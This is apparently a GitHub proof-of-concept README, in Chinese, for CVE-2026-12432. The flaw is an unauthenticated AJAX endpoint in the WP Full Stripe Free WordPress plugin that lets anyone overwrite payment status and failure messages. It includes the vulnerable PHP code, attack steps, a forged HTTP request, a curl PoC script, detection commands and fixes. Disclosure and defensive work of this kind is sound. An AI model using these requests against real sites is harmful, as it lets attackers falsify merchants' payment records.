Polosss/By-Poloss..-..CVE-2026-12432-PoC
GitHub: Polosss/By-Poloss..-..CVE-2026-12432-PoC
该项目是 WordPress WP Full Stripe Free 插件未授权访问漏洞(CVE-2026-12432)的概念验证,用于验证未认证攻击者篡改支付状态的风险。
Stars: 0 | Forks: 0
# CVE-2026-12432:WP Full Stripe Free <= 8.4.3 - 缺失授权
## 概述
- **CVE ID**:CVE-2026-12432
- **CVSS 评分**:5.3(中危)
- **CVSS 向量**:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- **受影响版本**:Stripe Payment Forms by WP Full Pay <= 8.4.3
- **已修复版本**:>= 8.4.4
- **发布日期**:2026 年 6 月 26 日
- **最后更新**:2026 年 6 月 27 日
- **研究员**:Netwurm - VTDR e.V.i.G.
## 漏洞描述
适用于 WordPress 的 WP Full Stripe Free 插件在 **8.4.3** 及以下版本中,通过 `wpfs_update_failed_payment_status` AJAX action 存在**缺失授权**(Missing Authorization)漏洞。
### 根本原因
存在漏洞的 AJAX endpoint 同时通过 `wp_ajax_` 和 `wp_ajax_nopriv_` hooks 进行注册:
```
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
```
`update_failed_payment_status()` 函数(第 3835-3865 行)执行了以下操作:
- ❌ **没有权限检查**(缺少 `current_user_can()`)
- ❌ **没有 nonce 验证**(缺少 `wp_verify_nonce()`)
- ❌ **没有登录检查**(缺少 `is_user_logged_in()`)
### 存在漏洞的代码
```
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
try {
$result = [];
$failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
$failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
$paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;
$paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
// ... no auth check before processing ...
$updateData = [
'paid' => 0,
'captured' => 0,
'refunded' => 0
];
// Attacker can overwrite with controlled values
if ( $lastCharge ) {
$updateData['last_charge_status'] = $lastCharge->status;
$updateData['failure_code'] = $lastCharge->failure_code;
$updateData['failure_message'] = $lastCharge->failure_message;
} else {
$updateData['last_charge_status'] = 'failed';
$updateData['failure_code'] = $failureCode;
$updateData['failure_message'] = $failureMessage;
}
$this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
// ...
}
}
```
## 攻击向量
### 前置条件
- 必须知道 Payment Intent ID(在正常的 Stripe 结账期间会在浏览器中暴露)
- 不需要身份验证
### 攻击步骤
1. **识别目标**:寻找安装了 WP Full Stripe Free <= 8.4.3 的 WordPress 站点
2. **获取 Payment Intent ID**:从 Stripe.js 结账流程或之前的交易中提取
3. **发送恶意请求**:伪造发往 admin-ajax.php 的 POST 请求,并附带攻击者控制的参数
### HTTP 请求
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE
```
## 影响评估
| 影响范围 | 严重程度 | 描述 |
|-------------|----------|-------------|
| **完整性** | 中危 | 攻击者可以将成功的支付标记为失败 |
| **机密性** | 无 | 无数据泄露 |
| **可用性** | 低危 | 可能会中断业务运营 |
### 具体影响
1. **支付记录篡改**:攻击者可以将支付状态从“已支付”修改为“失败”
2. **伪造失败代码**:攻击者可以注入任意失败代码/消息
3. **社会工程学**:可能被用来欺骗客户或对正当的扣款提出异议
4. **审计轨迹损坏**:业务记录可能会被伪造
## 概念验证(curl)
### 基础检测
```
# 测试 endpoint 是否可以在无需身份验证的情况下访问
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test_cve202612432" \
-d "failureCode=TEST_CODE" \
-d "failureMessage=TEST_MESSAGE"
# 预期的响应(存在漏洞):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}
# 关键的指标是 endpoint 在不要求身份验证的情况下进行响应
```
### 完整 PoC 脚本
```
#!/bin/bash
TARGET="https://TARGET"
# 检查是否存在漏洞
echo "[*] Testing CVE-2026-12432..."
RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test_123" \
-d "failureCode=XSS" \
-d "failureMessage=INJECTED")
if echo "$RESPONSE" | grep -q "success"; then
echo "[+] VULNERABLE - Endpoint accessible without auth"
else
echo "[-] Not vulnerable or error"
fi
```
## 修复方案
### 紧急修复
在 `wpfs-customer.php` 的第 3835 行添加授权检查:
```
function update_failed_payment_status() {
// ADD THIS CHECK
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// ... rest of function
}
```
### 推荐修复(由厂商提供)
更新至 **WP Full Stripe Free >= 8.4.4**
```
# 通过 WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update
# 通过 WP-CLI
wp plugin update wp-full-stripe-free
# 通过 SSH
wp plugin update wp-full-stripe-free --version=8.4.4
```
## 检测
### 手动检查
1. 在 WordPress 后台检查插件版本
2. 检查 `wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php`
3. 检查 AJAX handlers 之前是否缺少 `current_user_can()`
### 自动化检测
```
# 检查是否安装了存在漏洞的版本
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"
# 测试 AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"
```
## 参考
- [Wordfence Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/cve-2026-12432)
- [Plugin Trac](https://plugins.trac.wordpress.org/browser/wp-full-stripe-free/tags/8.4.3/includes/wpfs-customer.php)
- [Patchpatch 数据库](https://patchstack.com/database/)
## W.P.E.F
- [W.P.E.F Telegram 频道 #1](https://t.me/wpef0)
- [W.P.E.F Telegram 频道 #2](https://t.me/wpef01)
--
## 时间线
- **2026 年 6 月 26 日**:漏洞被公开披露
- **2026 年 6 月 27 日**:CVE-2026-12432 发布
- **补丁**:更新至 >= 8.4.4
标签:CISA项目, CSV导出, CVE, Web安全, WordPress插件, 应用安全, 支付接口, 数字签名, 文件完整性监控, 权限绕过, 漏洞分析, 蓝队分析, 路径探测